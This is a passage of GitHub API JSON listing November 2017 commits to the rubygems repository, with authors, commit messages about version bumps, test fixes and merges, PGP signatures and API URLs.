d7196813ab121bc040082a79e","html_url":"https://github.com/rubygems/rubygems/commit/76ef5bbd70c54bbd7196813ab121bc040082a79e"},{"sha":"47be81b6bb29ef9843545f5b58cd25389555c1fd","url":"https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd","html_url":"https://github.com/rubygems/rubygems/commit/47be81b6bb29ef9843545f5b58cd25389555c1fd"}]},{"sha":"76ef5bbd70c54bbd7196813ab121bc040082a79e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-10T03:53:13Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-10T03:53:13Z"},"message":"Auto merge of #2074 - rubygems:remove-needless-gem-lock, r=segiddins\n\nRemoved needless version lock\n\n`gem \"rdoc\"` on test_gem_commands_update_command.rb sometimes fails parallel tests on ruby core ci environment. This code was added for removing warning message on test runner at 7 years ago. ( https://github.com/rubygems/rubygems/commit/674eae6a7074a81aee60f7a74a6576fe6006be99 )","tree":{"sha":"b85686adc252795f86cedbabfe68721509240394","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b85686adc252795f86cedbabfe68721509240394"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e","html_url":"https://github.com/rubygems/rubygems/commit/76ef5bbd70c54bbd7196813ab121bc040082a79e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/76ef5bbd70c54bbd7196813ab121bc040082a79e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"},{"sha":"907bb798a1700e637cb966bf3027b85103f57e79","url":"https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79","html_url":"https://github.com/rubygems/rubygems/commit/907bb798a1700e637cb966bf3027b85103f57e79"}]},{"sha":"907bb798a1700e637cb966bf3027b85103f57e79","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T02:18:17Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-10T02:56:00Z"},"message":"Picked r60169 from ruby/ruby.\n\n https://github.com/ruby/ruby/commit/d4c4878441fec36c6052bf67d33b567ac5c60cb8","tree":{"sha":"b85686adc252795f86cedbabfe68721509240394","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b85686adc252795f86cedbabfe68721509240394"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/907bb798a1700e637cb966bf3027b85103f57e79","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79","html_url":"https://github.com/rubygems/rubygems/commit/907bb798a1700e637cb966bf3027b85103f57e79","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"}]},{"sha":"bb330275005d3f361240f205dc5f10258f3ff8ca","commit":{"author":{"name":"Kazuhiro NISHIYAMA","email":"zn@mbf.nifty.com","date":"2017-11-09T13:50:32Z"},"committer":{"name":"Kazuhiro NISHIYAMA","email":"zn@mbf.nifty.com","date":"2017-11-09T13:50:32Z"},"message":"Merge glob pattern using braces","tree":{"sha":"a056c9f9c28f50aaac1f3831aa82abcd6d8b3710","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a056c9f9c28f50aaac1f3831aa82abcd6d8b3710"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bb330275005d3f361240f205dc5f10258f3ff8ca","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca","html_url":"https://github.com/rubygems/rubygems/commit/bb330275005d3f361240f205dc5f10258f3ff8ca","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca/comments","author":{"login":"znz","id":11857,"avatar_url":"https://avatars3.githubusercontent.com/u/11857?v=4","gravatar_id":"","url":"https://api.github.com/users/znz","html_url":"https://github.com/znz","followers_url":"https://api.github.com/users/znz/followers","following_url":"https://api.github.com/users/znz/following{/other_user}","gists_url":"https://api.github.com/users/znz/gists{/gist_id}","starred_url":"https://api.github.com/users/znz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/znz/subscriptions","organizations_url":"https://api.github.com/users/znz/orgs","repos_url":"https://api.github.com/users/znz/repos","events_url":"https://api.github.com/users/znz/events{/privacy}","received_events_url":"https://api.github.com/users/znz/received_events","type":"User","site_admin":false},"committer":{"login":"znz","id":11857,"avatar_url":"https://avatars3.githubusercontent.com/u/11857?v=4","gravatar_id":"","url":"https://api.github.com/users/znz","html_url":"https://github.com/znz","followers_url":"https://api.github.com/users/znz/followers","following_url":"https://api.github.com/users/znz/following{/other_user}","gists_url":"https://api.github.com/users/znz/gists{/gist_id}","starred_url":"https://api.github.com/users/znz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/znz/subscriptions","organizations_url":"https://api.github.com/users/znz/orgs","repos_url":"https://api.github.com/users/znz/repos","events_url":"https://api.github.com/users/znz/events{/privacy}","received_events_url":"https://api.github.com/users/znz/received_events","type":"User","site_admin":false},"parents":[{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"}]},{"sha":"b358e88336ea7bab067cfa6a86660c937eb6cfb2","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:39Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:39Z"},"message":"Merge tag ''v2.7.2'' into 2.7","tree":{"sha":"bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2","html_url":"https://github.com/rubygems/rubygems/commit/b358e88336ea7bab067cfa6a86660c937eb6cfb2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"81682b8d298aaf722681f779b31d436aad0c1779","url":"https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779","html_url":"https://github.com/rubygems/rubygems/commit/81682b8d298aaf722681f779b31d436aad0c1779"},{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"}]},{"sha":"81682b8d298aaf722681f779b31d436aad0c1779","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:37Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:37Z"},"message":"Merge tag ''v2.7.1'' into 2.7\n\nTagging v2.7.1.","tree":{"sha":"c1034b36ebcc7655c4058991586a7643b270c995","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c1034b36ebcc7655c4058991586a7643b270c995"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/81682b8d298aaf722681f779b31d436aad0c1779","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779","html_url":"https://github.com/rubygems/rubygems/commit/81682b8d298aaf722681f779b31d436aad0c1779","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c"},{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}]},{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-08T13:52:25Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-08T13:52:25Z"},"message":"Auto merge of #2070 - rubygems:prepare-to-release-rubygems272, r=hsbt\n\nPrepare to release Rubygems 2.7.2\n\nI added missing template for `bundle gem` with https://github.com/rubygems/rubygems/pull/2065","tree":{"sha":"bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","html_url":"https://github.com/rubygems/rubygems/commit/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6"},{"sha":"35abb74af75979082307d0befdf0966d102e502b","url":"https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b","html_url":"https://github.com/rubygems/rubygems/commit/35abb74af75979082307d0befdf0966d102e502b"}]},{"sha":"35abb74af75979082307d0befdf0966d102e502b","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T09:23:59Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T09:23:59Z"},"message":"Fixed broken test for install_lib","tree":{"sha":"bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/35abb74af75979082307d0befdf0966d102e502b","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCzS8ACgkQ+c8TQXJk\n+sJSqAf/X2CDG1SXYm03yAM6MAGTa9CJEHzE5EIirKVIVCnPs1Z7nO5YxHxsU/mD\n0K66pAlU/RAI1PFvffV/a6kTbiedGJ4y/0ytU3hAWFwaXjqwQQWG5RRp6DHCM7x9\nZ2PW+uW3JBdqq7GO9osTkiH6NCcMYQxbEKt06KhQtHFpqXk/6e5daDf0KHdr7BPe\nt6+Zq8Lm88p/0kkn3ttIKDjDniJ9T4Xf1RKbiKG+bLBH+rwlQFYeLzQmzCd5OZQY\nOH1E45t+2zqn959Lm+q+S4a+JoN2fG4Z/5PhCWPQV+vWuEfeoW82KxmxRsKejnRd\nvHr4A894kYI1yTuyM2CU4CvqbrGzOw==\n=gIUN\n-----END PGP SIGNATURE-----","payload":"tree bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b\nparent a53aca9a780415e06429ea80177f0af87388ceb9\nauthor SHIBATA Hiroshi 1510133039 +0900\ncommitter SHIBATA Hiroshi 1510133039 +0900\n\nFixed broken test for install_lib\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b","html_url":"https://github.com/rubygems/rubygems/commit/35abb74af75979082307d0befdf0966d102e502b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/35abb74af75979082307d0befdf0966d102e502b/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a53aca9a780415e06429ea80177f0af87388ceb9","url":"https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9","html_url":"https://github.com/rubygems/rubygems/commit/a53aca9a780415e06429ea80177f0af87388ceb9"}]},{"sha":"a53aca9a780415e06429ea80177f0af87388ceb9","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T08:36:07Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T08:36:07Z"},"message":"Bump version to rubygems-2.7.2","tree":{"sha":"74ec348c11f20e699285a166a00537c48f70366a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/74ec348c11f20e699285a166a00537c48f70366a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a53aca9a780415e06429ea80177f0af87388ceb9","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCwfcACgkQ+c8TQXJk\n+sKjeQgA0BNwBpfxlT10aNIfXaB7oJdmSuWQq8bg8iLxPY5Wqx1VIxqyLYEsqqYD\nON7CG4SBRnakG7ulbDqarJZ53LA+3mbwFnsWX0yWUoRjDgi073Tna8QmGTs+mEJD\nC5v+91pt55fsSIqBNwDUsf/RwitPC/BrG4lFq19aqwCjw/zh7+sDRCFxh+hPVN+V\nDaZ6N1nN53ASKlvYr6MvTORGvSYv+JxqpAfwECsrn257OD6JPgIvyY3ZZDNfNWt1\nohoGT1DfbS9Shi4g3y5mSkCbHow0GKaYEscRRP7wFobvHRhCz/jI9Jtv/F+cs5PJ\n5BBTa0oKtMUag5cKYNtNZFrfTta3Lg==\n=weyO\n-----END PGP SIGNATURE-----","payload":"tree 74ec348c11f20e699285a166a00537c48f70366a\nparent 65cc9e69433d173015423837bae9fcc848765210\nauthor SHIBATA Hiroshi 1510130167 +0900\ncommitter SHIBATA Hiroshi 1510130167 +0900\n\nBump version to rubygems-2.7.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9","html_url":"https://github.com/rubygems/rubygems/commit/a53aca9a780415e06429ea80177f0af87388ceb9","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a53aca9a780415e06429ea80177f0af87388ceb9/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"65cc9e69433d173015423837bae9fcc848765210","url":"https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210","html_url":"https://github.com/rubygems/rubygems/commit/65cc9e69433d173015423837bae9fcc848765210"}]},{"sha":"65cc9e69433d173015423837bae9fcc848765210","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T05:54:37Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T05:54:37Z"},"message":"Fixed missing template for `bundle gem` command","tree":{"sha":"0bb100723ae56dbd8e57787f62cbad9a714720a5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0bb100723ae56dbd8e57787f62cbad9a714720a5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/65cc9e69433d173015423837bae9fcc848765210","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCnB4ACgkQ+c8TQXJk\n+sIPdAgAhpOYM7UiKEuPRhCLq2V6EUveApXSnauuEZQnmaLpM+S9aDV6WtN1529L\nAkou1mN0HfBrrPbLi1sAWITpqC7ShT7pcnDpjkleV7aCntIWcvw//VXlQYsswI1t\nHdVMY8zQkHmqq2/1LU3XJeDawpgWF/wWcMcq3qOvNTCTnxIypXk0GLjM2ehwR/AO\nc07t1JdBVt6EOYv6zdlXv3cSH0juW07HEHjD63xx/eT/ZeppVlMQTiW5WmyjzNlT\n4ioEdp8HMD69fuDQWjrO8WZECnjbG4oMsIu+K01wpcijRleW643kAyqPfHcjktMP\nhxwccwWxvOiY5ueilSSkr4OkZ6CRew==\n=arQ0\n-----END PGP SIGNATURE-----","payload":"tree 0bb100723ae56dbd8e57787f62cbad9a714720a5\nparent f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6\nauthor SHIBATA Hiroshi 1510120477 +0900\ncommitter SHIBATA Hiroshi 1510120477 +0900\n\nFixed missing template for `bundle gem` command\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210","html_url":"https://github.com/rubygems/rubygems/commit/65cc9e69433d173015423837bae9fcc848765210","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/65cc9e69433d173015423837bae9fcc848765210/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt